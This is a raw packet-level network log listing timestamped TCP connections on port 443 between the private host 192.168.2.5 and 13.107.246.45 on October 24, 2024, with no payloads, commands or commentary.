Oct 24, 2024 22:10:04.002788067 CEST	56455	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.002820969 CEST	443	56455	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.003056049 CEST	56455	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.003143072 CEST	56455	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.003149986 CEST	443	56455	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.061243057 CEST	443	56452	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.061248064 CEST	443	56454	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.061527014 CEST	443	56452	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.061654091 CEST	56452	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.061757088 CEST	56452	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.061757088 CEST	56452	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.061804056 CEST	443	56452	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.061819077 CEST	443	56452	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.061849117 CEST	56454	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.061887026 CEST	443	56454	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.062252998 CEST	56454	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.062266111 CEST	443	56454	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.064207077 CEST	56456	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.064232111 CEST	443	56456	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.064445019 CEST	56456	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.064445019 CEST	56456	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.064471006 CEST	443	56456	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.070235014 CEST	443	56451	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.070339918 CEST	443	56451	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.070444107 CEST	56451	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.070444107 CEST	56451	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.070578098 CEST	56451	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.070594072 CEST	443	56451	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.072377920 CEST	56457	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.072415113 CEST	443	56457	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.072684050 CEST	56457	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.072684050 CEST	56457	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.072715998 CEST	443	56457	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.108654022 CEST	443	56453	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.108813047 CEST	443	56453	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.108932972 CEST	56453	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.108932972 CEST	56453	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.109146118 CEST	56453	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.109158993 CEST	443	56453	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.110862970 CEST	56458	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.110874891 CEST	443	56458	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.111107111 CEST	56458	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.111107111 CEST	56458	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.111124039 CEST	443	56458	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.192229986 CEST	443	56454	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.192384958 CEST	443	56454	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.192565918 CEST	56454	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.192565918 CEST	56454	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.192686081 CEST	56454	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.192723989 CEST	443	56454	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.196084023 CEST	56459	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.196125031 CEST	443	56459	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.196203947 CEST	56459	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.196638107 CEST	56459	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.196667910 CEST	443	56459	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.749227047 CEST	443	56455	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.749713898 CEST	56455	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.749752045 CEST	443	56455	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.750171900 CEST	56455	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.750179052 CEST	443	56455	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.811470985 CEST	443	56457	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.811978102 CEST	56457	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.812019110 CEST	443	56457	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.812444925 CEST	56457	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.812457085 CEST	443	56457	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.815856934 CEST	443	56456	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.816215038 CEST	56456	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.816229105 CEST	443	56456	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.816632986 CEST	56456	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.816642046 CEST	443	56456	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.853076935 CEST	443	56458	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.853441954 CEST	56458	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.853455067 CEST	443	56458	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.853797913 CEST	56458	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.853807926 CEST	443	56458	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.881010056 CEST	443	56455	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.881185055 CEST	443	56455	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.881267071 CEST	56455	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.881352901 CEST	56455	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.881373882 CEST	443	56455	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.881387949 CEST	56455	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.881396055 CEST	443	56455	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.884402037 CEST	56460	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.884489059 CEST	443	56460	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.884573936 CEST	56460	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.884866953 CEST	56460	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.884897947 CEST	443	56460	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.942502975 CEST	443	56457	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.942754984 CEST	443	56457	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.942903996 CEST	56457	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.942998886 CEST	56457	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.942998886 CEST	56457	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.943043947 CEST	443	56457	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.943068981 CEST	443	56457	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.948028088 CEST	443	56456	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.948101997 CEST	443	56456	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.948204041 CEST	443	56456	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.948266983 CEST	56456	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.949629068 CEST	56456	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.949637890 CEST	443	56456	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.951900959 CEST	56462	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.951924086 CEST	56461	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.951931953 CEST	443	56462	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.952006102 CEST	56462	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.952032089 CEST	443	56461	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.952133894 CEST	56462	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.952150106 CEST	56461	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.952157974 CEST	443	56462	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.952239037 CEST	56461	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.952263117 CEST	443	56461	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.963208914 CEST	443	56459	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.963573933 CEST	56459	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.963596106 CEST	443	56459	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.963992119 CEST	56459	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.964001894 CEST	443	56459	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.984220982 CEST	443	56458	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.984293938 CEST	443	56458	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.984369040 CEST	56458	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.984376907 CEST	443	56458	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.984407902 CEST	443	56458	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.984457970 CEST	56458	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.984520912 CEST	56458	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.984527111 CEST	443	56458	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.984536886 CEST	56458	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.984540939 CEST	443	56458	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.986900091 CEST	56463	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.986928940 CEST	443	56463	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:04.987003088 CEST	56463	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.987147093 CEST	56463	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:04.987174988 CEST	443	56463	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.099858046 CEST	443	56459	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.100121021 CEST	443	56459	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.100193024 CEST	56459	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.100249052 CEST	56459	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.100249052 CEST	56459	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.100271940 CEST	443	56459	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.100294113 CEST	443	56459	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.102895021 CEST	56464	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.102937937 CEST	443	56464	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.103050947 CEST	56464	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.103231907 CEST	56464	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.103262901 CEST	443	56464	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.621994972 CEST	443	56460	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.622514963 CEST	56460	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.622595072 CEST	443	56460	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.623136997 CEST	56460	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.623150110 CEST	443	56460	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.687963009 CEST	443	56462	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.688657999 CEST	56462	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.688657999 CEST	56462	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.688690901 CEST	443	56462	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.688719988 CEST	443	56462	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.710293055 CEST	443	56461	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.710916042 CEST	56461	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.710916042 CEST	56461	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.710974932 CEST	443	56461	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.711000919 CEST	443	56461	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.722624063 CEST	443	56463	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.722915888 CEST	56463	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.722934008 CEST	443	56463	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.723248959 CEST	56463	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.723259926 CEST	443	56463	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.752300978 CEST	443	56460	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.752372980 CEST	443	56460	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.752475977 CEST	443	56460	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.752672911 CEST	56460	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.752674103 CEST	56460	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.752674103 CEST	56460	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.752674103 CEST	56460	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.754944086 CEST	56465	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.754971981 CEST	443	56465	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.755163908 CEST	56465	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.755239964 CEST	56465	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.755248070 CEST	443	56465	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.819189072 CEST	443	56462	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.819212914 CEST	443	56462	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.819245100 CEST	443	56462	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.819276094 CEST	56462	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.819364071 CEST	56462	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.819466114 CEST	56462	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.819466114 CEST	56462	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.819506884 CEST	443	56462	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.819536924 CEST	443	56462	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.821608067 CEST	56466	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.821667910 CEST	443	56466	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.821835995 CEST	56466	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.821949959 CEST	56466	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.821989059 CEST	443	56466	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.842048883 CEST	443	56464	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.842380047 CEST	56464	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.842398882 CEST	443	56464	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.843302965 CEST	56464	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.843327999 CEST	443	56464	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.844835997 CEST	443	56461	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.844979048 CEST	443	56461	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.845472097 CEST	56461	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.845521927 CEST	56461	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.845521927 CEST	56461	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.845547915 CEST	443	56461	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.845573902 CEST	443	56461	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.847206116 CEST	56467	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.847218990 CEST	443	56467	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.847352982 CEST	56467	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.849389076 CEST	56467	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.849399090 CEST	443	56467	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.853293896 CEST	443	56463	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.853431940 CEST	443	56463	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.853681087 CEST	56463	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.853681087 CEST	56463	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.853681087 CEST	56463	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.855633020 CEST	56468	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.855670929 CEST	443	56468	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.855797052 CEST	56468	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.855998993 CEST	56468	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.856040001 CEST	443	56468	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.972507000 CEST	443	56464	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.972565889 CEST	443	56464	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.972702980 CEST	443	56464	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.972843885 CEST	56464	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.972843885 CEST	56464	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.972982883 CEST	56464	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.973011971 CEST	443	56464	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.975995064 CEST	56469	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.976077080 CEST	443	56469	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:05.976241112 CEST	56469	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.976316929 CEST	56469	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:05.976341009 CEST	443	56469	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.068156004 CEST	56460	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.068186998 CEST	443	56460	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.084012032 CEST	56463	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.084048033 CEST	443	56463	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.494167089 CEST	443	56465	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.494647980 CEST	56465	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.494661093 CEST	443	56465	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.495095015 CEST	56465	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.495100975 CEST	443	56465	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.553081989 CEST	443	56466	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.553519964 CEST	56466	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.553570032 CEST	443	56466	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.553922892 CEST	56466	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.553941965 CEST	443	56466	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.578172922 CEST	443	56468	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.578582048 CEST	56468	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.578608036 CEST	443	56468	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.579011917 CEST	56468	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.579022884 CEST	443	56468	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.636004925 CEST	443	56465	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.636065006 CEST	443	56465	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.636125088 CEST	56465	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.636138916 CEST	443	56465	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.636365891 CEST	56465	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.636380911 CEST	443	56465	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.636571884 CEST	56465	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.636734962 CEST	443	56465	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.636820078 CEST	443	56465	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.636867046 CEST	56465	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.641000032 CEST	56470	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.641057968 CEST	443	56470	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.641185045 CEST	56470	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.641407013 CEST	56470	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.641434908 CEST	443	56470	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.697807074 CEST	443	56466	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.697892904 CEST	443	56466	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.697937965 CEST	443	56466	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.697945118 CEST	56466	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.697988987 CEST	56466	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.698134899 CEST	56466	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.698153019 CEST	443	56466	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.698175907 CEST	56466	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.698183060 CEST	443	56466	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.700558901 CEST	56471	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.700658083 CEST	443	56471	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.700838089 CEST	56471	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.700988054 CEST	56471	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.701023102 CEST	443	56471	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.701155901 CEST	443	56467	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.701497078 CEST	56467	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.701505899 CEST	443	56467	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.701906919 CEST	56467	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.701911926 CEST	443	56467	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.708883047 CEST	443	56468	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.709343910 CEST	443	56468	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.709392071 CEST	56468	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.709431887 CEST	443	56468	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.709461927 CEST	443	56468	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.709511995 CEST	56468	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.709551096 CEST	56468	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.709551096 CEST	56468	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.709573030 CEST	443	56468	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.709594011 CEST	443	56468	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.709934950 CEST	443	56469	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.710259914 CEST	56469	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.710297108 CEST	443	56469	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.710602999 CEST	56469	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.710614920 CEST	443	56469	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.711427927 CEST	56472	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.711493969 CEST	443	56472	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.711570024 CEST	56472	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.711690903 CEST	56472	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.711718082 CEST	443	56472	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.833595991 CEST	443	56467	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.833807945 CEST	443	56467	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.833865881 CEST	56467	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.833889961 CEST	56467	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.833900928 CEST	443	56467	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.833915949 CEST	56467	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.833923101 CEST	443	56467	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.836376905 CEST	56473	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.836409092 CEST	443	56473	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.836517096 CEST	56473	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.836659908 CEST	56473	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.836675882 CEST	443	56473	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.840197086 CEST	443	56469	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.840276003 CEST	443	56469	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.840394974 CEST	56469	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.840450048 CEST	56469	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.840450048 CEST	56469	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.840481043 CEST	443	56469	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.840503931 CEST	443	56469	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.842444897 CEST	56474	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.842539072 CEST	443	56474	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:06.842637062 CEST	56474	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.842787981 CEST	56474	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:06.842824936 CEST	443	56474	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.442059040 CEST	443	56470	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.442990065 CEST	56470	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.442990065 CEST	56470	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.443037987 CEST	443	56470	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.443059921 CEST	443	56470	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.445900917 CEST	443	56471	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.446727037 CEST	56471	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.446727037 CEST	56471	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.446789026 CEST	443	56471	13.107.246.45	192.168.2.5
